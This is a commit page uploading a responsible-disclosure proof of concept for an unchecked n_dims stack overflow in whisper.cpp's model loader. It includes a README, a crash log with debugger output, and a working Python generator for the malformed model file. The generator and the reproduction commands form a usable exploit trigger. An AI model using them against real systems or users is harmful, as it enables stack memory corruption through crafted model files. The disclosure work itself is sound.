ybgwon96 commited on
Commit
339067e
·
verified ·
1 Parent(s): 2eb52cf

Upload 4 files

Browse files
Files changed (4) hide show
  1. CRASH_PROVEN.md +50 -0
  2. README.md +68 -0
  3. gen_whisper_ndims_poc.py +80 -0
  4. poc_whisper_ndims.bin +3 -0
CRASH_PROVEN.md ADDED
@@ -0,0 +1,50 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Dynamic crash proof — whisper.cpp unchecked `n_dims` stack buffer overflow
2
+
3
+ Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64).
4
+
5
+ ## Target
6
+ - repo: `ggml-org/whisper.cpp` @ `6fc7c33`
7
+ - Sink: `src/whisper.cpp` `whisper_model_load()` tensor-read loop — `int32_t ne[4]` written with an
8
+ unbounded, attacker-controlled `n_dims` count.
9
+
10
+ ## Build (Release, CPU-only, `-fstack-protector-all`; NO sanitizer)
11
+ ```
12
+ cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
13
+ -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
14
+ -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
15
+ cmake --build build-rel --target whisper-cli
16
+ ```
17
+
18
+ ## Malicious input — `poc_whisper_ndims.bin` (80 KB)
19
+ Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop),
20
+ then ONE tensor record with `n_dims = 20000` followed by 20000 sentinel words `0x41414141` ("AAAA").
21
+
22
+ ## Run + crash
23
+ ```
24
+ whisper_model_load: type = 1 (tiny)
25
+ whisper_model_load: adding 51865 extra tokens
26
+ whisper_model_load: CPU total size = 77.11 MB <- model fully built; entering tensor-read loop
27
+ <SIGSEGV>
28
+ exit=139 (128 + SIGSEGV(11))
29
+ ```
30
+
31
+ ## lldb stop frame — attacker bytes in the fault address
32
+ ```
33
+ * thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)
34
+ frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36
35
+ -> str xzr, [x0, #0x8] ; x0 = 0x141414149
36
+ ```
37
+ The faulting address `0x141414149` is the attacker sentinel `0x41414141` ("AAAA"): the unbounded
38
+ `for (i=0;i<n_dims;++i) read_safe(loader, ne[i])` loop wrote our chosen 4-byte words far past the
39
+ 4-element stack array `ne[4]`, overwriting adjacent stack state (including the `std::istream` object
40
+ pointer used by the very next `read_safe`), which is then dereferenced → crash. This demonstrates
41
+ **attacker-controlled stack memory corruption** (CWE-787), not a benign parser error.
42
+
43
+ ## What this proves
44
+ 1. `n_dims` from the model file is used as an unchecked loop bound over a fixed `int32_t ne[4]`.
45
+ 2. The loop writes attacker-chosen 4-byte values sequentially past the array — the classic
46
+ controlled-length/controlled-content stack smash.
47
+ 3. Reached via the standard `whisper_init_from_file` → `whisper_model_load` path that EVERY
48
+ whisper.cpp application uses to load a model. (The sibling site `whisper_vad_init_with_params`
49
+ has the identical bug on the VAD-model path.)
50
+ ```
README.md ADDED
@@ -0,0 +1,68 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ tags:
4
+ - security
5
+ - poc
6
+ - huntr
7
+ - model-file-vulnerability
8
+ ---
9
+
10
+ # PoC — whisper.cpp unchecked `n_dims` stack buffer overflow
11
+
12
+ Proof-of-concept model file for a **huntr Model File Vulnerabilities** report against
13
+ [`ggml-org/whisper.cpp`](https://github.com/ggml-org/whisper.cpp) @ `6fc7c33`.
14
+
15
+ **This repository contains a deliberately malformed GGML model file for authorized security research
16
+ (responsible disclosure via huntr). It is not a usable model.**
17
+
18
+ ## The bug (summary)
19
+
20
+ `whisper_model_load()` (and the sibling `whisper_vad_init_with_params()`) read a per-tensor
21
+ `int32_t n_dims` from the model file and use it, **unchecked**, as the bound of a loop that writes into
22
+ a fixed 4-element stack array `int32_t ne[4]`:
23
+
24
+ ```cpp
25
+ // src/whisper.cpp (whisper_model_load)
26
+ :1874 read_safe(loader, n_dims); // attacker-controlled
27
+ :1883 int32_t ne[4] = { 1, 1, 1, 1 }; // fixed 4-element STACK array
28
+ :1884 for (int i = 0; i < n_dims; ++i) {
29
+ :1885 read_safe(loader, ne[i]); // OOB stack write for n_dims > 4
30
+ :1886 nelements *= ne[i];
31
+ :1887 }
32
+ ```
33
+
34
+ There is no `n_dims <= GGML_MAX_DIMS` check before the loop. All shape/size validation runs *after* it.
35
+ A crafted model file with a large `n_dims` writes an attacker-controlled sequence of 4-byte words far
36
+ past `ne[4]`, smashing the stack (CWE-787). The identical pattern exists at the VAD loader
37
+ (`whisper_vad_init_with_params`, `src/whisper.cpp:5016/5025/5026`).
38
+
39
+ ## Files
40
+
41
+ | file | description |
42
+ |---|---|
43
+ | `poc_whisper_ndims.bin` | valid whisper "tiny" header + one tensor record with `n_dims=20000` and a run of `0x41414141` words. **Crashes `whisper-cli` with SIGSEGV.** |
44
+ | `gen_whisper_ndims_poc.py` | pure-python generator (documents the exact header layout). |
45
+ | `CRASH_PROVEN.md` | build commands + reproduced crash (attacker sentinel bytes in the fault address). |
46
+
47
+ ## Reproduce
48
+
49
+ ```
50
+ cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
51
+ -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
52
+ -DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
53
+ cmake --build build-rel --target whisper-cli
54
+ ./build-rel/bin/whisper-cli -m poc_whisper_ndims.bin -f /dev/null
55
+ ```
56
+
57
+ Observed (default Release, no sanitizer):
58
+ ```
59
+ whisper_model_load: CPU total size = 77.11 MB <- model built; enters the tensor-read loop
60
+ stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149) <- attacker's 0x41414141 bytes in the fault address
61
+ exit=139 (SIGSEGV)
62
+ ```
63
+ See `CRASH_PROVEN.md`.
64
+
65
+ ## Disclosure
66
+
67
+ Reported privately via huntr. Suggested fix: `if (n_dims < 0 || n_dims > GGML_MAX_DIMS) return false;`
68
+ before the fill loop, at both call sites.
gen_whisper_ndims_poc.py ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC generator — whisper.cpp unchecked `n_dims` stack buffer overflow.
4
+
5
+ whisper_model_load() (src/whisper.cpp) reads a per-tensor `int32_t n_dims` and then loops
6
+ `for (i=0; i<n_dims; ++i) read_safe(loader, ne[i]);` writing into a fixed stack array
7
+ `int32_t ne[4]` — with NO check that n_dims <= 4 (GGML_MAX_DIMS). A crafted model file with a
8
+ large n_dims writes an attacker-controlled sequence far past ne[4], smashing the stack
9
+ (CWE-787). All shape/size validation runs only AFTER this loop.
10
+
11
+ This builds a minimal-but-valid whisper GGML model (tiny topology, so the tensor map builds and
12
+ execution reaches the tensor-read loop), then appends ONE malicious tensor record whose n_dims is
13
+ huge, followed by a long run of sentinel words to overflow the stack.
14
+
15
+ Header layout (read order in whisper_model_load):
16
+ magic: uint32 GGML_FILE_MAGIC (0x67676d6c)
17
+ hparams: 11 x int32 (n_vocab, n_audio_ctx, n_audio_state, n_audio_head, n_audio_layer,
18
+ n_text_ctx, n_text_state, n_text_head, n_text_layer, n_mels, ftype)
19
+ mel: int32 n_mel, int32 n_fft, then n_mel*n_fft float32
20
+ vocab: int32 n_vocab_section, then that many (uint32 len, len bytes) tokens
21
+ tensors (loop): int32 n_dims, int32 name_len, int32 ttype, then n_dims x int32 ne[i], ...
22
+
23
+ Usage: python3 gen_whisper_ndims_poc.py [out.bin] [n_dims]
24
+ """
25
+ import struct, sys
26
+
27
+ GGML_FILE_MAGIC = 0x67676d6c
28
+
29
+ def i32(x): return struct.pack("<i", x)
30
+ def u32(x): return struct.pack("<I", x)
31
+ def f32(x): return struct.pack("<f", x)
32
+
33
+ def build(n_dims_evil=20000):
34
+ b = bytearray()
35
+ b += u32(GGML_FILE_MAGIC)
36
+
37
+ # --- hparams: whisper "tiny" topology (n_audio_layer==4 -> MODEL_TINY) ---
38
+ # assert requires n_text_state == n_audio_state
39
+ hparams = [
40
+ 51865, # n_vocab (>=51865 -> multilingual; used only for tensor sizes here)
41
+ 1500, # n_audio_ctx
42
+ 384, # n_audio_state
43
+ 6, # n_audio_head
44
+ 4, # n_audio_layer -> MODEL_TINY
45
+ 448, # n_text_ctx
46
+ 384, # n_text_state (== n_audio_state)
47
+ 6, # n_text_head
48
+ 4, # n_text_layer
49
+ 80, # n_mels
50
+ 1, # ftype = MOSTLY_F16
51
+ ]
52
+ for h in hparams:
53
+ b += i32(h)
54
+
55
+ # --- mel filters: minimal (1x1) ---
56
+ b += i32(1) # n_mel
57
+ b += i32(1) # n_fft
58
+ b += f32(0.0) # one filter float
59
+
60
+ # --- vocab: 0 file tokens; loader auto-generates the rest (no file reads) ---
61
+ b += i32(0) # n_vocab_section = 0
62
+
63
+ # --- malicious tensor record ---
64
+ # whisper_model_load reads: n_dims, length(name), ttype, then n_dims x int32 ne[]
65
+ b += i32(n_dims_evil) # n_dims >> 4 -> overflow ne[4]
66
+ b += i32(8) # name length (irrelevant: crash happens in the ne[] loop, before name use)
67
+ b += i32(0) # ttype
68
+ # provide n_dims sentinel words so every loop iteration performs a write
69
+ for k in range(n_dims_evil):
70
+ b += i32(0x41414141) # 'AAAA' — recognizable stack-smash filler
71
+ return bytes(b)
72
+
73
+ if __name__ == "__main__":
74
+ out = sys.argv[1] if len(sys.argv) > 1 else "poc_whisper_ndims.bin"
75
+ nd = int(sys.argv[2], 0) if len(sys.argv) > 2 else 20000
76
+ data = build(nd)
77
+ with open(out, "wb") as f:
78
+ f.write(data)
79
+ print(f"wrote {out} ({len(data)} bytes), evil n_dims={nd} -> writes {nd} int32 past stack ne[4]")
80
+ print(f"trigger: whisper-cli -m {out} <any.wav> (or any app calling whisper_init_from_file)")
poc_whisper_ndims.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:178b1f6e781d0d0a0eec1877e08f8ccda4ae66cd586ef108d0a4c891cb1d8e43
3
+ size 80076